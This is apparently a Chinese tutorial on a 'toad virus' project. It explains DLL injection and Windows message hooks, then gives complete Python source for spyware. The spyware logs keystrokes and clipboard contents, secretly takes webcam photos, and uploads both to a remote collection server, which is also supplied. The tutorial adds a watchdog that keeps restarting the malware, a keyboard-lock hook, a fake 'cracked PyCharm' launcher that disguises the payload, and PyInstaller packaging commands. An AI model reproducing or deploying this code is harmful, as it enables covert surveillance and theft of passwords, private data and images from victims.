安全项目(癞蛤蟆病毒)
目录:
一、攻击原理解析
什么是dll
动态链接库(Dynamic Link Library 或者 Dynamic-link Library,缩写为 DLL) 是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。 这些库函数的扩展名是 ”.dll"、".ocx"(包含ActiveX控制的库)或者 ".drv"(旧式的系统驱动程序)。
为何要有dll
由于进程的地址空间是独立的(保护模式),当多个进程共享相同的库时,每个库都在硬盘和进程彼此的内存
存放一份的话,对于早期的计算机来说,无疑是一种极大的浪费,于是windows系统推出了dll机制,
dll在硬盘上存为一个文件,在内存中使用一个实例(instance)。
详细如下:
在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,
每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。
理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,
那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。
因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
什么是dll注入:
我们可以利用dll机制来实训进程通信或控制其它进程的应用程序。
所谓的dll注入正是是让进程A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码,从而
达到A进程控制B进程的目的
注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,
程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,
因此程序B的开发者可以对程序A为所欲为。
什么时候需要dll注入
应用程序一般会在以下情况使用dll注入技术来完成某些功能: 1.为目标进程添加新的“实用”功能; 2.需要一些手段来辅助调试被注入dll的进程; 3.为目标进程安装钩子程序(API Hook);
dll注入的方法
一般情况下有如下dll注入方法: 1.修改注册表来注入dll; 2.使用CreateRemoteThread函数对运行中的进程注入dll; 3.使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll;(推荐使用) 4.替换应用程序一定会使用的dll; 5.把dll作为调试器来注入; 6.用CreateProcess对子进程注入dll 7.修改被注入进程的exe的导入地址表。 ps: 杀毒软件常用钩子来进行处理
六、使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll
ctypes是Python的外部函数库,从Python2.5开始引入。它提供了C兼容的数据类型, 并且允许调用动态链接库/共享库中的函数。它可以将这些库包装起来给Python使用。 ctypes.windll.user32下主要用到三个函数,分别是SetWindowsHookEx() 、CallNextHookEx()和UnhookWindowsHookEx() 消息钩子:Windows操作系统为用户提供了GUI(Graphic User Interface,图形用户界面), 它以事件驱动方式工作。在操作系统中借助键盘、鼠标、选择菜单、按钮、移动鼠标、改变窗口大小与位置等都是事件。 发生这样的事件时,操作系统会把事先定义好的消息发送给相应的应用程序,应用程序分析收到的信息后会执行相应的动作。 也就是说,在敲击键盘时,消息会从操作系统移动到应用程序。 所谓的消息钩子就是在此期间偷看这些信息。以键盘输入事件为例,消息的流向如下: 1.发生键盘输入时,WM_KEYDOWN消息被添加到操作系统的消息队列中; 2.操作系统判断这个消息产生于哪个应用程序,并将这个消息从消息队列中取出,添加到相应的应用程序的消息队列中; 3.应用程序从自己的消息队列中取出WM_KEYDOWN消息并调用相应的处理程序。 当我们的钩子程序启用后,操作系统在将消息发送给用用程序前会先发送给每一个注册了相应钩子类型的钩子函数。钩子函数可以对这一消息做出想要的处理(修改、拦截等等)。
多个消息钩子将按照安装钩子的先后顺序被调用,这些消息钩子在一起组成了"钩链"。消息在钩链之间传递时任一钩子函数拦截了消息,接下来的钩子函数(包括应用程序)将都不再收到该消息。 像这样的消息钩子功能是Windows提供的最基本的功能,MS Visual Studio中提供的SPY++就是利用了这一功能来实现的,SPY++是一个十分强大的消息钩取程序,它能够查看操作系统中来往的所有消息。 消息钩子是使用SetWindowsHookEx来实现的。函数的原型如下: HHOOK WINAPI SetWindowsHookEx( _In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId ); idHook参数是消息钩子的类型,可以选择的类型在MSDN中可以查看到相应的宏定义。比如我们想对所有的键盘消息做挂钩,其取值将是WH_KEYBOARD,WH_KEYBOARD这个宏的值是2。 lpfn参数是钩子函数的起始地址,注意:不同的消息钩子类型的钩子函数原型是不一样的,因为不同类型的消息需要的参数是不同的,具体的钩子函数原型需要查看MSDN来获得。注意:钩子函数可以在结束前任意位置调用CallNextHookEx函数来执行钩链的其他钩子函数。当然,如果不调用这个函数,钩链上的后续钩子函数将不会被执行。 hMod参数是钩子函数所在的模块的模块句柄。 dwThreadId参数用来指示要对哪一个进程/线程安装消息钩子。如果这个参数为0,安装的消息钩子称为“全局钩子”,此时将对所有的进程(当前的进程以及以后要运行的所有进程)下这个消息钩子。注意:有的类型的钩子只能是全局钩子。 注意:钩子函数应当放在一个dll中,并且在你的进程中LoadLibrary这个dll。然后再调用SetWindowsHookEx函数对相应类型的消息安装钩子。 当SetWindowsHookEx函数调用成功后,当某个进程生成这一类型的消息时,操作系统会判断这个进程是否被安装了钩子,如果安装了钩子,操作系统会将相关的dll文件强行注入到这个进程中并将该dll的锁计数器递增1。然后再调用安装的钩子函数。整个注入过程非常方便,用户几乎不需要做什么。 当用户不需要再进行消息钩取时只需调用UnhookWindowsHookEx即可解除安装的消息钩子,函数的原型如下: BOOL WINAPI UnhookWindowsHookEx( _In_ HHOOK hhk ); hhk参数是之前调用SetWindowsHookEx函数返回的HOOK变量/句柄。这个函数调用成功后会使被注入过dll的锁计数器递减1,当锁计数器减到0时系统会卸载被注入的dll。 这种类型的dll注入的优点是注入简单,缺点是只能对windows消息进行Hook并注入dll,而且注入dll可能不是立即被注入,因为这需要相应类型的事件发生。其次是它不能进行其他API的Hook,如果想对其它的函数进行Hook,你需要再在被注入的dll中添加用于API Hook的代码。 dll注入代码包含两部分,一部分是dll的源文件,另一部分是控制台程序的源代码。 HMODULE Hmod = LoadLibraryA("hookdll.dll");
二、准备工作
#1、最新anocoda3.7(可以解决一些pip3 install安装时的依赖问题) https://www.anaconda.com/distribution/#download-section #2、提速下载可以改变源(使用清华源) pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple #3、安装pywin32,安装时指定安装目录,windows下的api接口 https://github.com/mhammond/pywin32/releases #4、安装opencv-python(调用摄像头功能) pip install opencv-python #5、安装pyinstaller,依赖pywin32 (将py文件打包成exe文件) pip install pyinstaller #6、ico文件准备好(打包成exe文件时指定图标) 在线制作 or https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html
三、了解要用到的功能
from time import sleep,strftime from os import listdir,remove from os.path import exists, getsize,abspath,expanduser,basename ''' os.path.expanduser(path) 在*Unix和windows上,返回带有初始化组件~或~user由该用户主目录替换的参数 如果路径没有以波浪号开头,则路径将保持不变 ''' from sys import exit from struct import pack #socket传输时定制报头 from json import dumps from socket import socket, AF_INET, SOCK_STREAM from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard #剪贴板操作相关,需要安装pywin32才可以 from win32con import HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ, FILE_ATTRIBUTE_HIDDEN, WH_KEYBOARD_LL, WM_KEYDOWN from win32api import GetConsoleTitle, RegOpenKey, RegSetValueEx, RegCloseKey, SetFileAttributes from win32gui import FindWindow, ShowWindow from cv2 import VideoCapture, CAP_DSHOW, imwrite, destroyAllWindows from ctypes import windll # windll.user32、windll.kernel32 from ctypes import CFUNCTYPE from ctypes import byref from ctypes import POINTER from ctypes import c_int, c_void_p from ctypes.wintypes import MSG from threading import Timer from threading import Thread from threading import Lock
四、实际代码
目录:
WincoreManagement.py #病毒文件
Toad_server.py #服务器端socket
代码:
import sys, os, time import socket, struct, json #struct用来定制socket报头 import win32clipboard # 剪贴板操作,需要安装pywin32才可以 import win32con #win32con.FILE_ATTRIBUTE_NORMAL来指定文件属性 import win32api #win32api.SetFileAttributes设置系统文件或目录的属性 import cv2 #调用摄像头相关 from ctypes import windll #使用windll.user32.SetWindowsHookExA()获取钩子句柄 from ctypes import CFUNCTYPE #回调函数 from ctypes import POINTER #指针 from ctypes import c_int, c_void_p #用来将python类型转为C中的类型 from ctypes import byref from ctypes.wintypes import MSG #监听/获取窗口的消息,消息进入队列后则取出交给勾链中第一个钩子 from threading import Timer #Timer设置指定程序在多长时间后执行,例如120秒之后执行 from threading import Thread from threading import Lock # 工具 class Utils: def __init__(self): # 用户家目录 self.base_dir = os.path.expanduser('~') # 放在当前用户家目录,不然可能有权限问题 # 初始化生成日志文件 self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir open(self.log_path, 'a', encoding='utf-8').close() win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_NORMAL) # 定义两把锁,控制读写 self.mutex_log = Lock() # 日志锁 self.mutex_photo = Lock() # 照片锁 self.mutex_sock = Lock() # 套接字上传锁 # 服务端的ip和port self.server_ip = 'xxxx.xxxx.xxxx.xxxx' #服务器端IP self.server_port = 9000 # 本地调试日志 self.debug = True self.debug_log_path = r'%s/debug_log' % self.base_dir self.mutex_debug = Lock() def log_debug(self, res): if not self.debug: return self.mutex_debug.acquire() with open(self.debug_log_path, mode='a', encoding='utf-8') as f: f.write('\n%s\n' % res) f.flush() self.mutex_debug.release() def log(self, res): self.mutex_log.acquire() with open(self.log_path, mode='a', encoding='utf-8') as f: f.write(res) f.flush() self.mutex_log.release() def take_photoes(self): while True: time.sleep(10) photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S')) cap = None try: # VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…, # 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”) # CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数 cap = cv2.VideoCapture(0, cv2.CAP_DSHOW) ret, frame = cap.read() #按帧读取视频,ret,frame是获cap.read()方法的两个返回值。 #其中ret是布尔值,如果读取帧是正确的则返回True,如果文件读取到结尾,它的返回值就为False。 #frame就是每一帧的图像,是个三维矩阵。 self.mutex_photo.acquire() #cv2.imwrite(photo_path, frame) #无法保存中文路径,会出现文件名乱码,用下面的命令 cv2.imencode('.jpg', frame)[1].tofile(photo_path) #可以保存中文路径 except Exception as e: self.log_debug('照相异常: %s' % e) finally: # 无论如何都要释放锁,关闭相机 self.mutex_photo.release() if cap is not None: cap.release() #None.release(),释放摄像头 cv2.destroyAllWindows() #关闭所有图像窗口。 if os.path.exists(photo_path): win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_NORMAL) #win32api.SetFileAttributes(文件或目录,文件属性),用来设置某些文件为只读,归档,隐藏文件等 #FILE_ATTRIBUTE_READONLY = 1 (0x1) # 只读属性 #FILE_ATTRIBUTE_HIDDEN = 2 (0x2) # 隐藏属性 #FILE_ATTRIBUTE_SYSTEM = 4 (0x4) # 系统文件 #FILE_ATTRIBUTE_DIRECTORY = 16 (0x10) # 目录 #FILE_ATTRIBUTE_ARCHIVE = 32 (0x20) # 存档 #FILE_ATTRIBUTE_NORMAL = 128 (0x80) # 正常属性 #FILE_ATTRIBUTE_TEMPORARY = 256 (0x100) #临时属性 #FILE_ATTRIBUTE_SPARSE_FILE = 512 (0x200) #稀疏文件 #FILE_ATTRIBUTE_REPARSE_POINT = 1024 (0x400) #超链接或快捷方式 #FILE_ATTRIBUTE_COMPRESSED = 2048 (0x800) #压缩文件 #FILE_ATTRIBUTE_OFFLINE = 4096 (0x1000) #脱机 #FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 8192 (0x2000) #索引 #FILE_ATTRIBUTE_ENCRYPTED = 16384 (0x4000) #加密 #FILE_ATTRIBUTE_VIRTUAL 65536 虚拟 #"只读"、“隐藏”、“系统”、“存档”为文件的四种基本属性。 def send_data(self, headers, data): try: self.mutex_sock.acquire() # 上传数据的过程中不要做其他事情 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((self.server_ip, self.server_port)) head_json = json.dumps(headers) head_json_bytes = bytes(head_json, encoding='utf-8') client.send(struct.pack('i', len(head_json_bytes))) client.send(head_json_bytes) client.sendall(data) client.close() res = (True, 'ok') except ConnectionRefusedError as e: msg = '套接字服务端未启动: %s' % e res = (False, msg) except Exception as e: msg = '套接字其他错误:%s' % e res = (False, msg) finally: self.mutex_sock.release() return res def upload_log(self): while True: time.sleep(1) if not os.path.getsize(self.log_path): continue self.mutex_log.acquire() with open(self.log_path, mode='rb+') as f: data = f.read() headers = { 'data_size': len(data), 'filename': os.path.basename(self.log_path) } self.log_debug('正在往服务端发送日志......[%s]' % data) is_ok, msg = self.send_data(headers, data) if is_ok: self.log_debug('日志[%s]发送成功。。。' % data) else: self.log_debug('日志[%s]发送失败:%s' % (data, msg)) continue f.truncate(0) #宿主机本地日志清空 self.mutex_log.release() def upload_photoes(self): while True: time.sleep(3) files = os.listdir(self.base_dir) files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')] for file_name in files_jpeg: file_path = r'%s/%s' % (self.base_dir, file_name) if not os.path.exists(file_path): continue self.log_debug('开始上传图片: %s' % file_name) headers = { 'data_size': os.path.getsize(file_path), 'filename': file_name } self.mutex_photo.acquire() with open(file_path, mode='rb+') as f: data = f.read() is_ok, msg = self.send_data(headers, data) if is_ok: self.log_debug('图片%s发送完毕......' % file_name) else: self.log_debug('图片%s发送失败:%s' % (file_name, msg)) continue os.remove(file_path) self.mutex_photo.release() utils = Utils() # 定义类:定义拥有挂钩与拆钩功能的类 class Toad: def __init__(self): self.user32 = windll.user32 self.hooked = None def __install_hook_proc(self, pointer): #pointer此时是经过转换后的函数指针 self.hooked = self.user32.SetWindowsHookExA( win32con.WH_KEYBOARD_LL, # 默认等于13,WH_KEYBOARD_LL = 13 # 全局的键盘钩子,能拦截所有的键盘按键的消息。 pointer, 0, # 钩子函数的dll句柄,此处设置为0即可 0 # 所有线程 ) # self.hooked 为注册钩子返回的句柄 return True if self.hooked else False def install_hook_proc(self, func): #func是病毒程序要注入的锁定键盘或监听键盘输入的功能 CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) #通过CFUNCTYPE()函数指定SetWindowshookExA()函数所需要的钩子过程 pointer = CMPFUNC(func) # 拿到函数hookProc指针,通过CMPFUNC()函数获取内部声明的函数指针 if self.__install_hook_proc(pointer): utils.log_debug("%s start " % func.__name__) # 监听/获取窗口的消息,消息进入队列后则取出交给勾链中第一个钩子 # 传递消息:GetMessageA()函数函数监视队列,消息进入队列后取出消息,并传递给勾连中的第一个钩子 msg = MSG() self.user32.GetMessageA(byref(msg), None, 0, 0) def uninstall_hook_proc(self): if self.hooked is None: return self.user32.UnhookWindowsHookEx(self.hooked) # 通过钩子句柄删除注册的钩子 self.hooked = None toad_obj = Toad() # 2、定义钩子过程(即我们要注入的逻辑): def monitor_keyborad_proc(nCode, wParam, lParam): #三个参数对应CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))中三个int,有用的就是wParam, WM开头的常数,针对键盘,参数由msg传入 # win32con.WM_KEYDOWN = 0X0100 # 键盘按下,对应数字256 # win32con.WM_KEYUP = 0x101 # 键盘起来,对应数字257,监控键盘只需要操作KEYDOWN即可 if wParam == win32con.WM_KEYDOWN: hookedKey_ascii = 0xFFFFFFFF & lParam[0] hookedKey = chr(hookedKey_ascii) utils.log_debug('监听到hookeKey:[%s] hookedKey_ascii:[%s]' % (hookedKey, hookedKey_ascii)) keyboard_dic = { 220: r'<`>', 189: r'<->', 187: r'<=>', 8: r'<删除键>', 9: r'<tab>', 219: r'<[>', 221: r'<]>', 222: r'<\>', 20: r'<大小写锁定>', 186: r'<;>', 192: r"<'>", 13: r'<enter>', 160: r'<lshift>', 188: r'<,>', 190: r'<.>', 191: r'</>', 161: r'<rshift>', 162: r'<ctrl>', 32: r'<space>', 37: r'<左箭头>', 38: r'<上箭头>', 39: r'<右箭头>', 40: r'<下箭头>', } if (hookedKey == 'Q'): # 测试时打开,正式运行时注释这一段即可 toad_obj.uninstall_hook_proc() sys.exit(-1) # pass if hookedKey_ascii in keyboard_dic: # 按下了了非常规键 res = keyboard_dic[hookedKey_ascii] utils.log_debug('监听到输入: %s' % res) utils.log(res) if hookedKey_ascii > 32 and hookedKey_ascii < 127: # 检测击键是否常规按键(非组合键等) if hookedKey == 'V' or hookedKey == 'C': win32clipboard.OpenClipboard() paste_value = win32clipboard.GetClipboardData() # 获取粘贴板的值 win32clipboard.CloseClipboard() if paste_value: # 剪贴板有值,则代表上述V和C的输入是组合键,用户输入的有效数据在剪贴板里放着 utils.log(paste_value) utils.log_debug('粘贴值: %s' % paste_value) else: utils.log_debug('监听到输入: %s' % repr(hookedKey)) utils.log(hookedKey) # CallNextHookEx将钩子的信息重新放回钩链中 return windll.user32.CallNextHookEx(toad_obj.hooked, nCode, wParam, lParam) # 钩链:钩1,钩2 def lock_keyboard_proc(nCode, wParam, lParam): utils.log_debug('锁定键盘程序正在执行。。。。。。。。') return 123 ##需要返回int类型 if __name__ == '__main__': # 监听键盘输入->并记录日志 t1 = Thread(target=toad_obj.install_hook_proc, args=(monitor_keyborad_proc,)) # 锁定键盘功能 t2 = Timer(120, toad_obj.install_hook_proc, args=[lock_keyboard_proc, ]) # 偷拍功能->保存图片文件 t3 = Thread(target=utils.take_photoes) # 上传数据功能:日志文件、图片文件 t4 = Thread(target=utils.upload_log) t5 = Thread(target=utils.upload_photoes) t2.daemon = True t3.daemon = True t4.daemon = True t5.daemon = True t1.start() t2.start() t3.start() t4.start() t5.start() t1.join()
import socketserver import struct import json import os import time class ToadServer(socketserver.BaseRequestHandler): coding='utf-8' max_packet_size=1024 def handle(self): ip,port=self.client_address with open(r'access.log',mode='a',encoding='utf-8') as f: f.write('[%s] 癞蛤蟆病毒感染者-> %s:%s 正在上传数据\n' %(time.strftime('%Y-%m-%d-%H:%M:%S'),ip, port)) try: head = self.request.recv(4) head_json_len = struct.unpack('i', head)[0] head_json = json.loads(self.request.recv(head_json_len).decode('utf-8')) data_len = head_json['data_size'] filename = head_json['filename'] file_dir_path=r"client_msg" if not os.path.exists(file_dir_path): os.mkdir(file_dir_path) recv_size = 0 recv_data = b'' with open(r'client_msg/client_%s_%s' %(ip,filename), 'ab') as f: while recv_size < data_len: recv_data = self.request.recv(1024) f.write(recv_data) recv_size += len(recv_data) except Exception as e: # 客户端断开 self.request.close() myserver=socketserver.ThreadingTCPServer(('0.0.0.0', 9999),ToadServer) myserver.serve_forever()
import multiprocessing import subprocess, time, sys, os import win32con import win32api CMD = r"WinCoreManagement.exe" # 需要执行程序的绝对路径 def run(cmd): # print('start OK!') os.chdir(os.path.dirname(os.path.abspath(__file__))) #切换目录 p = subprocess.Popen(cmd, shell=False) p.wait() # 类似于p.join() try: subprocess.call("taskkill /F /IM {0} && start /b {0}".format(CMD),shell=True) # 清理残余,先强制停止这个进程,再重新启动 #subprocess.call('start /b taskkill /F /IM %s' % CMD) #'start /b taskkill /F /IM %s' % CMD 等价于 "taskkill /F /IM {0} && start /b {0}".format(CMD)不过后者要加shell=True #taskkill /f /im 进程名 #关闭程序 #注意,这里只需要程序的进程名即可,而非完整路径名 #start /b 进程名 #启动程序 #示例:(在cmd下使用) #taskkill /F /IM Xshell.exe && start /b Xshell.exe #先强制停止Xshell.exe进程,再重新启动Xshell.exe except Exception as e: # print(e) pass # print('子进程关闭,重启') run(cmd) if __name__ == '__main__': multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案 run(CMD)
import os import subprocess import time import multiprocessing if __name__ == '__main__': multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案 os.chdir(r'.') subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序 subprocess.Popen(r'System.exe') # System.exe负责无限重启病毒程序WinCoreManagerment.exe time.sleep(20)
锁定键盘的函数,lock_keyborad_proc函数没有用windll.user32.CallNextHookEx把钩子放回,所以键盘就相当于被锁定了
打包成exe:
打包制作二进制exe pyinstaller -i system.ico -Fw WinCoreManagement.py pyinstaller -i system.ico -Fw System.py pyinstaller -i pycharm.ico -Fw pycharm破解版.py
杀毒方法:
杀毒方法 taskkill /F /IM System.exe taskkill /F /IM WinCoreManagement.exe taskkill /F /IM pycharm.exe